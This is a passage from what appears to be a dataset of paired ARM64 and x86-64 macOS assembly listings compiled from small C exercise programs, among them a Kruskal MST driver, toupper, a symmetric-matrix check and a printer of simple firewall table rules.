movl 4(%rax), %edx
movslq -4(%rbp), %rcx
movq _spanList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %ecx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %eax
movslq -4(%rbp), %rdx
movq _spanList@GOTPCREL(%rip), %rcx
imulq $12, %rdx, %rdx
addq %rdx, %rcx
addl 8(%rcx), %eax
movl %eax, -8(%rbp)
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB4_1
LBB4_4:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
movq _nVertices@GOTPCREL(%rip), %rsi
movb $0, %al
callq _scanf
movl $0, -4(%rbp)
LBB5_1: ## =>This Loop Header: Depth=1
## Child Loop BB5_3 Depth 2
movl -4(%rbp), %eax
movq _nVertices@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB5_14
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movl $0, -8(%rbp)
LBB5_3: ## Parent Loop BB5_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -8(%rbp), %eax
movq _nVertices@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB5_12
## %bb.4: ## in Loop: Header=BB5_3 Depth=2
movl -4(%rbp), %eax
cmpl -8(%rbp), %eax
je LBB5_9
## %bb.5: ## in Loop: Header=BB5_3 Depth=2
movl -4(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB5_7
## %bb.6: ## in Loop: Header=BB5_3 Depth=2
movl -4(%rbp), %esi
movl -8(%rbp), %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
movl -16(%rbp), %edx
movslq -4(%rbp), %rcx
movq _GraphEdgeWeights@GOTPCREL(%rip), %rax
imulq $120, %rcx, %rcx
addq %rcx, %rax
movslq -8(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
jmp LBB5_8
LBB5_7: ## in Loop: Header=BB5_3 Depth=2
movslq -8(%rbp), %rcx
movq _GraphEdgeWeights@GOTPCREL(%rip), %rax
imulq $120, %rcx, %rcx
addq %rcx, %rax
movslq -4(%rbp), %rcx
movl (%rax,%rcx,4), %edx
movslq -4(%rbp), %rcx
movq _GraphEdgeWeights@GOTPCREL(%rip), %rax
imulq $120, %rcx, %rcx
addq %rcx, %rax
movslq -8(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
LBB5_8: ## in Loop: Header=BB5_3 Depth=2
jmp LBB5_10
LBB5_9: ## in Loop: Header=BB5_3 Depth=2
movslq -4(%rbp), %rcx
movq _GraphEdgeWeights@GOTPCREL(%rip), %rax
imulq $120, %rcx, %rcx
addq %rcx, %rax
movslq -8(%rbp), %rcx
movl $0, (%rax,%rcx,4)
LBB5_10: ## in Loop: Header=BB5_3 Depth=2
jmp LBB5_11
LBB5_11: ## in Loop: Header=BB5_3 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB5_3
LBB5_12: ## in Loop: Header=BB5_1 Depth=1
jmp LBB5_13
LBB5_13: ## in Loop: Header=BB5_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB5_1
LBB5_14:
callq _KruskalMST
callq _PrintResult
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _edgeList,364,2 ## @edgeList
.comm _nVertices,4,2 ## @nVertices
.comm _GraphEdgeWeights,3600,4 ## @GraphEdgeWeights
.comm _spanList,364,2 ## @spanList
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n%d->%d:%d"
L_.str.1: ## @.str.1
.asciz "\n=====================================\n"
L_.str.2: ## @.str.2
.asciz "Cost = %d"
L_.str.3: ## @.str.3
.asciz "\nNumber of vertices : "
L_.str.4: ## @.str.4
.asciz "%d"
L_.str.5: ## @.str.5
.asciz "Edge Weight : "
.subsections_via_symbols
| the_stack_data/22012140.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_toupper ; -- Begin function ft_toupper
.p2align 2
_ft_toupper: ; @ft_toupper
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
subs w8, w8, #123
cset w8, ge
tbnz w8, #0, LBB0_3
b LBB0_1
LBB0_1:
ldr w8, [sp, #12]
subs w8, w8, #96
cset w8, le
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
ldr w8, [sp, #12]
subs w8, w8, #32
str w8, [sp, #12]
b LBB0_3
LBB0_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_toupper ## -- Begin function ft_toupper
.p2align 4, 0x90
_ft_toupper: ## @ft_toupper
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
cmpl $123, -4(%rbp)
jge LBB0_3
## %bb.1:
cmpl $96, -4(%rbp)
jle LBB0_3
## %bb.2:
movl -4(%rbp), %eax
subl $32, %eax
movl %eax, -4(%rbp)
LBB0_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/996596.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #336
.cfi_def_cfa_offset 336
stp x28, x27, [sp, #304] ; 16-byte Folded Spill
stp x29, x30, [sp, #320] ; 16-byte Folded Spill
add x29, sp, #320
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #36]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
str wzr, [sp, #32]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #32]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #28]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #28]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #32]
add w11, w8, #1
ldr w8, [sp, #28]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldrsw x9, [sp, #32]
add x8, sp, #40
add x8, x8, x9, lsl #5
ldrsw x9, [sp, #28]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_1
LBB0_8:
str wzr, [sp, #32]
b LBB0_9
LBB0_9: ; =>This Loop Header: Depth=1
; Child Loop BB0_11 Depth 2
ldr w8, [sp, #32]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_18
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=1
str wzr, [sp, #28]
b LBB0_11
LBB0_11: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #28]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_16
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_11 Depth=2
ldrsw x10, [sp, #32]
add x9, sp, #40
mov x8, x9
add x8, x8, x10, lsl #5
ldrsw x10, [sp, #28]
ldr w8, [x8, x10, lsl #2]
ldrsw x10, [sp, #28]
add x9, x9, x10, lsl #5
ldrsw x10, [sp, #32]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_14
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_11 Depth=2
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_11
LBB0_16: ; in Loop: Header=BB0_9 Depth=1
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_9 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_9
LBB0_18:
ldr w8, [sp, #24]
subs w8, w8, #16
cset w8, ne
tbnz w8, #0, LBB0_20
b LBB0_19
LBB0_19:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_21
LBB0_20:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_21
LBB0_21:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_23
b LBB0_22
LBB0_22:
bl ___stack_chk_fail
LBB0_23:
mov w0, #0
ldp x29, x30, [sp, #320] ; 16-byte Folded Reload
ldp x28, x27, [sp, #304] ; 16-byte Folded Reload
add sp, sp, #336
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Preencha a matriz com numeros inteiros.\n"
l_.str.1: ; @.str.1
.asciz "Posicao [%d][%d]: "
l_.str.2: ; @.str.2
.asciz " %d"
l_.str.3: ; @.str.3
.asciz "A matriz e simetrica."
l_.str.4: ; @.str.4
.asciz "A matriz n\303\243o \303\251 simetrica."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $288, %rsp ## imm = 0x120
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -276(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -280(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $8, -280(%rbp)
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -284(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $8, -284(%rbp)
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl -280(%rbp), %esi
addl $1, %esi
movl -284(%rbp), %edx
addl $1, %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movslq -280(%rbp), %rax
leaq -272(%rbp), %rsi
shlq $5, %rax
addq %rax, %rsi
movslq -284(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -284(%rbp), %eax
addl $1, %eax
movl %eax, -284(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl -280(%rbp), %eax
addl $1, %eax
movl %eax, -280(%rbp)
jmp LBB0_1
LBB0_8:
movl $0, -280(%rbp)
LBB0_9: ## =>This Loop Header: Depth=1
## Child Loop BB0_11 Depth 2
cmpl $8, -280(%rbp)
jge LBB0_18
## %bb.10: ## in Loop: Header=BB0_9 Depth=1
movl $0, -284(%rbp)
LBB0_11: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $8, -284(%rbp)
jge LBB0_16
## %bb.12: ## in Loop: Header=BB0_11 Depth=2
movslq -280(%rbp), %rcx
leaq -272(%rbp), %rax
shlq $5, %rcx
addq %rcx, %rax
movslq -284(%rbp), %rcx
movl (%rax,%rcx,4), %eax
movslq -284(%rbp), %rdx
leaq -272(%rbp), %rcx
shlq $5, %rdx
addq %rdx, %rcx
movslq -280(%rbp), %rdx
cmpl (%rcx,%rdx,4), %eax
jne LBB0_14
## %bb.13: ## in Loop: Header=BB0_11 Depth=2
movl -288(%rbp), %eax
addl $1, %eax
movl %eax, -288(%rbp)
LBB0_14: ## in Loop: Header=BB0_11 Depth=2
jmp LBB0_15
LBB0_15: ## in Loop: Header=BB0_11 Depth=2
movl -284(%rbp), %eax
addl $1, %eax
movl %eax, -284(%rbp)
jmp LBB0_11
LBB0_16: ## in Loop: Header=BB0_9 Depth=1
jmp LBB0_17
LBB0_17: ## in Loop: Header=BB0_9 Depth=1
movl -280(%rbp), %eax
addl $1, %eax
movl %eax, -280(%rbp)
jmp LBB0_9
LBB0_18:
cmpl $16, -288(%rbp)
jne LBB0_20
## %bb.19:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_21
LBB0_20:
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB0_21:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_23
## %bb.22:
xorl %eax, %eax
addq $288, %rsp ## imm = 0x120
popq %rbp
retq
LBB0_23:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Preencha a matriz com numeros inteiros.\n"
L_.str.1: ## @.str.1
.asciz "Posicao [%d][%d]: "
L_.str.2: ## @.str.2
.asciz " %d"
L_.str.3: ## @.str.3
.asciz "A matriz e simetrica."
L_.str.4: ## @.str.4
.asciz "A matriz n\303\243o \303\251 simetrica."
.subsections_via_symbols
| the_stack_data/26846.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
str wzr, [sp, #12]
mov w8, #4
str w8, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #48
ldrsw x10, [sp, #8]
add x9, sp, #12
strb w8, [x9, x10]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #1
str w8, [sp, #8]
b LBB0_1
LBB0_4:
mov x9, sp
add x8, sp, #12
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
leaq -20(%rbp), %rdi
xorl %esi, %esi
movl $4, %edx
callq _memset
movl $4, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $0, -24(%rbp)
jl LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
addl $48, %eax
movb %al, %cl
movslq -24(%rbp), %rax
movb %cl, -20(%rbp,%rax)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
addl $-1, %eax
movl %eax, -24(%rbp)
jmp LBB0_1
LBB0_4:
leaq -20(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s\n"
.subsections_via_symbols
| the_stack_data/87638184.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _comp ; -- Begin function comp
.p2align 2
_comp: ; @comp
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str x1, [sp]
ldr x8, [sp, #8]
ldr w8, [x8]
ldr x9, [sp]
ldr w9, [x9]
subs w0, w8, w9
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _fourSum ; -- Begin function fourSum
.p2align 2
_fourSum: ; @fourSum
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur w1, [x29, #-20]
stur w2, [x29, #-24]
stur x3, [x29, #-32]
str x4, [sp, #40]
ldur w8, [x29, #-20]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
b LBB1_14
LBB1_2:
str wzr, [sp, #36]
ldur w8, [x29, #-20]
lsl w9, w8, #2
; implicit-def: $x8
mov x8, x9
sxtw x8, w8
lsl x0, x8, #3
bl _malloc
str x0, [sp, #24]
ldursw x8, [x29, #-20]
lsl x0, x8, #3
bl _malloc
ldr x8, [sp, #40]
str x0, [x8]
ldur x0, [x29, #-16]
ldursw x1, [x29, #-20]
mov x2, #4
adrp x3, _comp@PAGE
add x3, x3, _comp@PAGEOFF
bl _qsort
str wzr, [sp, #12]
b LBB1_3
LBB1_3: ; =>This Loop Header: Depth=1
; Child Loop BB1_10 Depth 2
ldr w8, [sp, #12]
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_14
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #12]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5:
b LBB1_14
LBB1_6: ; in Loop: Header=BB1_3 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB1_9
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_3 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #12]
ldr w8, [x8, x9, lsl #2]
ldur x9, [x29, #-16]
ldr w10, [sp, #12]
subs w10, w10, #1
ldr w9, [x9, w10, sxtw #2]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_3 Depth=1
b LBB1_13
LBB1_9: ; in Loop: Header=BB1_3 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #20]
ldur w8, [x29, #-20]
subs w8, w8, #1
str w8, [sp, #16]
b LBB1_10
LBB1_10: ; Parent Loop BB1_3 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #20]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_12
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_10 Depth=2
b LBB1_10
LBB1_12: ; in Loop: Header=BB1_3 Depth=1
b LBB1_13
LBB1_13: ; in Loop: Header=BB1_3 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB1_3
LBB1_14:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _comp ## -- Begin function comp
.p2align 4, 0x90
_comp: ## @comp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movl (%rax), %eax
movq -16(%rbp), %rcx
subl (%rcx), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _fourSum ## -- Begin function fourSum
.p2align 4, 0x90
_fourSum: ## @fourSum
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl %edx, -24(%rbp)
movq %rcx, -32(%rbp)
movq %r8, -40(%rbp)
cmpl $4, -20(%rbp)
jge LBB1_2
## %bb.1:
movq $0, -8(%rbp)
jmp LBB1_14
LBB1_2:
movl $0, -44(%rbp)
movl -20(%rbp), %eax
shll $2, %eax
movslq %eax, %rdi
shlq $3, %rdi
callq _malloc
movq %rax, -56(%rbp)
movslq -20(%rbp), %rdi
shlq $3, %rdi
callq _malloc
movq %rax, %rcx
movq -40(%rbp), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rdi
movslq -20(%rbp), %rsi
movl $4, %edx
leaq _comp(%rip), %rcx
callq _qsort
movl $0, -68(%rbp)
LBB1_3: ## =>This Loop Header: Depth=1
## Child Loop BB1_10 Depth 2
movl -68(%rbp), %eax
cmpl -20(%rbp), %eax
jge LBB1_14
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
jle LBB1_6
## %bb.5:
jmp LBB1_14
LBB1_6: ## in Loop: Header=BB1_3 Depth=1
cmpl $0, -68(%rbp)
jle LBB1_9
## %bb.7: ## in Loop: Header=BB1_3 Depth=1
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movl (%rax,%rcx,4), %eax
movq -16(%rbp), %rcx
movl -68(%rbp), %edx
subl $1, %edx
movslq %edx, %rdx
cmpl (%rcx,%rdx,4), %eax
jne LBB1_9
## %bb.8: ## in Loop: Header=BB1_3 Depth=1
jmp LBB1_13
LBB1_9: ## in Loop: Header=BB1_3 Depth=1
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -60(%rbp)
movl -20(%rbp), %eax
subl $1, %eax
movl %eax, -64(%rbp)
LBB1_10: ## Parent Loop BB1_3 Depth=1
## => This Inner Loop Header: Depth=2
movl -60(%rbp), %eax
cmpl -64(%rbp), %eax
jge LBB1_12
## %bb.11: ## in Loop: Header=BB1_10 Depth=2
jmp LBB1_10
LBB1_12: ## in Loop: Header=BB1_3 Depth=1
jmp LBB1_13
LBB1_13: ## in Loop: Header=BB1_3 Depth=1
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -68(%rbp)
jmp LBB1_3
LBB1_14:
movq -8(%rbp), %rax
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/62589.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov w8, #2
stur w8, [x29, #-8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #100
cset w8, gt
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-8]
add w10, w9, #1
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_1
LBB0_4:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "table_add firewall forward 10.0.0.%d/24 10.0.0.%d 17 => 3\n"
l_.str.1: ; @.str.1
.asciz "table_add firewall forward 10.0.0.1/24 10.0.0.2 17 => 2\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $2, -8(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $100, -8(%rbp)
jg LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %esi
movl -8(%rbp), %edx
addl $1, %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_4:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "table_add firewall forward 10.0.0.%d/24 10.0.0.%d 17 => 3\n"
L_.str.1: ## @.str.1
.asciz "table_add firewall forward 10.0.0.1/24 10.0.0.2 17 => 2\n"
.subsections_via_symbols
| the_stack_data/170451979.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/150561.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
